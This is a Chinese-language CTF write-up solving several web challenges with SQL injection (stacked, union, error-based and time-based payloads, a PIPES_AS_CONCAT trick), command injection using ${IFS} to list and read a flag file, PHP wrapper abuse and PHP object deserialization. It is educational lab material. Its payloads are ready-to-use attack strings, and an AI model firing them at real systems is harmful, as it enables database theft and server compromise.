先尝试使用常见姿势进行测试结果还是不行直到使用堆叠注入
1' or '1'='1'# #or语句
1' order by 3# #order语句
1' union select 1,2,3# #联合查询
1'and(select extractvalue(1,concat('~',(select database())))) #报错注入
1' and if(length(database())>1,sleep(5),1)--+ #时间注入
1;show databases#
1;show tables#
当使用1;show columns from 'Flag'#去查询数据时发现不行。看了一下网上的WP题目使用的查询语句是
select $_POST[‘query’] || flag from Flag
sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数第一种就按默认没有配置来进行,此时||就是逻辑或||在命令执行中见过,回顾:
payload1 ; payload2 顺序执行
payload1 || payload2 如果payload1执行失败,则执行payload2
payload1 && payload2 如果payload1 执行成功,则执行payload2
所以我们只需要将post提交的参数换成*,1如果直接写的话会被报错的 select *,1||flag from Flag,这样就直接查询出了flag表中的所有内容。此处的1是临时增加的一列,列名为1且这一列所有的值都是为1;
网上还有一种解法:
payload:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接sql:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
sql_mode : 它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 “或” 运算符sql_mode说明;这个模式下进行查询的时候,使用字母连接会报错,使用数字连接才会查询出数据,因为这个 || 相当于是将 select 1 和 select flag from flag 的结果拼接在一起
小饼干最好吃啦!
在请求中添加cookie:admin=1 得到关键信息rasalghul.php
访问rasalghul.php 绕过空格技巧
payload: ?url=ls${IFS}../../../
payload: ?url=tac${IFS}../../../flllllaaaaaaggggggg
payload :
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+ 查询表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='test_tb'),0x7e),1)--+ 查询字段
?id=1' and updatexml(1,concat(0x7e,(select group_concat(flag) from test_tb),0x7e),1)--+ 这里只能查询一半,剩下的我们使用right函数去查询
?id=1' and updatexml(1,concat(0x7e,(select group_concat(right(flag,15)) from test_tb),0x7e),1)--+
提示我们能否找到hint.php文件,并且在url参数中发现了wlim
采用php://filter协议去读取文件 进行base64解码之后让我们访问 /test2222222222222.php
a参数利用file_get_contents()函数已只读的方式打开,如果内容等于I want flag的话,输出flag
payload:/?a=data://text/palian,I want flag
admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
可以看到类wllm中,__destruct()方法被重写,需要修改类成员变量内部值来获取flag,因为__destruct()方法是在对象被销毁是调用,由此我们先创建一个对象,给其成员赋值然后进行序列化
admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$a = new wllm();
$a->admin="admin";
$a->passwd="ctf";
$q = serialize($a);
print_r($q);
?>
得到序列化的结果
O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";} 将结果传入/?p=O:4:“wllm”:2:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:3:“ctf”;}
最后得到flag